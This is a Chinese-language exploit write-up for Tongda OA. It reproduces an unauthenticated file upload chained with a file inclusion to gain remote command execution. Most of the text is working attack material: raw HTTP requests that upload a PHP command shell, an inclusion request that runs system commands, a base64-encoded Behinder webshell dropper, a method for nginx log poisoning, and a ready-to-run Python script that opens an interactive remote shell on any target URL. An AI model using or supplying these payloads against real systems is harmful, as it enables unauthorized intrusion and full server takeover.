[通达OA] RCE + Getshell

跟着大佬轻松复现：https://github.com/jas502n/OA-tongda-RCE

通达OA下载：https://www.tongda2000.com/download/2019.php

傻瓜式安装，不作多介绍。

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漏洞原因：未授权文件上传 + 文件包含（利用nginx日志也可以getshell）

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版本不同路径不同

2013：

• 文件上传路径：/ispirit/im/upload.php
• 文件包含路径：/ispirit/interface/gateway.php

2017：

• 文件上传路径：/ispirit/im/upload.php
• 文件包含路径：/mac/gateway.php

复现过程

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文件上传

抓取数据包使用Burp改成POST，再改成 from-data 就好了

Request：

POST /ispirit/im/upload.php HTTP/1.1
Host: 192.168.95.129
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Referer: http://192.168.95.129/logincheck.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=gb4tpaqrsagb3fcmpu9sco48m5; KEY_RANDOMDATA=13319
Connection: close
Content-Type: multipart/form-data; boundary=--------1673801018
Content-Length: 558

----------1673801018
Content-Disposition: form-data; name="UPLOAD_MODE"

2
----------1673801018
Content-Disposition: form-data; name="P"

123
----------1673801018
Content-Disposition: form-data; name="DEST_UID"

2
----------1673801018
Content-Disposition: form-data; name="ATTACHMENT"; filename="jpg"
Content-Type: image/jpeg

<?php
$command=$_POST['cmd'];
$wsh = new COM('WScript.shell');
$exec = $wsh->exec("cmd /c ".$command);
$stdout = $exec->StdOut();
$stroutput = $stdout->ReadAll();
echo $stroutput;
?>
----------1673801018--

Response：

HTTP/1.1 200 OK
Server: nginx
Date: Sun, 22 Mar 2020 14:03:32 GMT
Content-Type: text/html; charset=gbk
Connection: close
Vary: Accept-Encoding
Set-Cookie: PHPSESSID=123; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
X-Frame-Options: SAMEORIGIN
Content-Length: 37

+OK [vm]252@2003_225735032|jpg|0[/vm]

文件包含

---

注意对应成功上传的文件名

Request：

POST /ispirit/interface/gateway.php HTTP/1.1
Host: 192.168.95.129
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Referer: http://192.168.95.129/logincheck.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=gb4tpaqrsagb3fcmpu9sco48m5; KEY_RANDOMDATA=13319
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 71

json={"url":"/general/../../attach/im/2003/225735032.jpg"}&cmd=net user

Response：

HTTP/1.1 200 OK
Server: nginx
Date: Sun, 22 Mar 2020 14:06:54 GMT
Content-Type: text/html; charset=gbk
Connection: close
Vary: Accept-Encoding
X-Frame-Options: SAMEORIGIN
Content-Length: 192

\\ 的用户帐户

-------------------------------------------------------------------------------
Administrator            Guest
命令运行完毕，但发现一个或多个错误。

Getshell

---

<?php
$fp = fopen('readme.php', 'w');
$a = base64_decode("PD9waHAKQGVycm9yX3JlcG9ydGluZygwKTsKc2Vzc2lvbl9zdGFydCgpOwppZiAoaXNzZXQoJF9HRVRbJ3Bhc3MnXSkpCnsKICAgICRrZXk9c3Vic3RyKG1kNSh1bmlxaWQocmFuZCgpKSksMTYpOwogICAgJF9TRVNTSU9OWydrJ109JGtleTsKICAgIHByaW50ICRrZXk7Cn0KZWxzZQp7CiAgICAka2V5PSRfU0VTU0lPTlsnayddOwoJJHBvc3Q9ZmlsZV9nZXRfY29udGVudHMoInBocDovL2lucHV0Iik7CglpZighZXh0ZW5zaW9uX2xvYWRlZCgnb3BlbnNzbCcpKQoJewoJCSR0PSJiYXNlNjRfIi4iZGVjb2RlIjsKCQkkcG9zdD0kdCgkcG9zdC4iIik7CgkJCgkJZm9yKCRpPTA7JGk8c3RybGVuKCRwb3N0KTskaSsrKSB7CiAgICAJCQkgJHBvc3RbJGldID0gJHBvc3RbJGldXiRrZXlbJGkrMSYxNV07IAogICAgCQkJfQoJfQoJZWxzZQoJewoJCSRwb3N0PW9wZW5zc2xfZGVjcnlwdCgkcG9zdCwgIkFFUzEyOCIsICRrZXkpOwoJfQogICAgJGFycj1leHBsb2RlKCd8JywkcG9zdCk7CiAgICAkZnVuYz0kYXJyWzBdOwogICAgJHBhcmFtcz0kYXJyWzFdOwoJY2xhc3MgQ3twdWJsaWMgZnVuY3Rpb24gX19jb25zdHJ1Y3QoJHApIHtldmFsKCRwLiIiKTt9fQoJQG5ldyBDKCRwYXJhbXMpOwp9Cj8+");
fwrite($fp, $a);
fclose($fp);
?>

通过上传上方webshell，进行文件包含，会在文件包含的根目录下生成一个 readme.php 文件。冰蝎的shell

http://127.0.0.1/ispirit/interface/readme.php

利用nginx日志来 getshell

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抓取数据包来发送一句话木马代码，不能直接在浏览器访问，因为那样符号会被浏览器编码的

http://192.168.95.129/ispirit/interface/gateway.php?json={"url":"/general/../../nginx/logs/oa.access.log"}

用 C 刀（菜刀）就可以直接连接了，蚁剑不行。

Python 脚本

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改造计划：https://www.t00ls.net/viewthread.php?tid=55458

模仿大佬：https://github.com/jas502n/OA-tongda-RCE

import requests,sys

def poc():
    global url
    upload = url+"/ispirit/im/upload.php"
    cmdshell = """
    <?php
        $command=$_POST['cmd'];
        $wsh = new COM('WScript.shell');
        $exec = $wsh->exec("cmd /c ".$command);
        $stdout = $exec->StdOut();
        $stroutput = $stdout->ReadAll();
        echo $stroutput;
    ?>
    """
    files = {"ATTACHMENT": cmdshell}
    upload_post = {
        "UPLOAD_MODE":2,
        "P":123,
        "DEST_UID":2
        }
    r = requests.post(upload,upload_post,files=files)
    path = r.text
    path = path[path.find('@')+1:path.rfind('|')].replace("_","/").replace("|",".")
    return path

def exp():
    global url
    path = poc()
    headers = {
        "Content-Type":"application/x-www-form-urlencoded"
    }
    include = url+"/ispirit/interface/gateway.php"
    while 1:
        cmd = input("$ ")
        include_post = 'json={"url":"/general/../../attach/im/'+path+'"}&cmd=%s' % cmd
        req = requests.post(url=include, data=include_post,headers=headers)
        print(req.text)
        if cmd == 'exit':
            break

if __name__ == '__main__':
    try:
        url = sys.argv[1]
        print("""   

 ______   ___   ____    ____      ___     ____      ____      __    ___
|      | /   \ |    \  /    |    |   \   /    |    |    \    /  ]  /  _]
|      ||     ||  _  ||   __|    |    \ |  o  |    |  D  )  /  /  /  [_
|_|  |_||  O  ||  |  ||  |  |    |  D  ||     |    |    /  /  /  |    _]
  |  |  |     ||  |  ||  |_ |    |     ||  _  |    |    \ /   \_ |   [_
  |  |  |     ||  |  ||     |    |     ||  |  |    |  .  \\     ||     |
  |__|   \___/ |__|__||___,_|    |_____||__|__|    |__|\_| \____||_____|

        """)
        poc()
        exp()
    except:
        print("python "+sys.argv[0]+" http://127.0.0.1")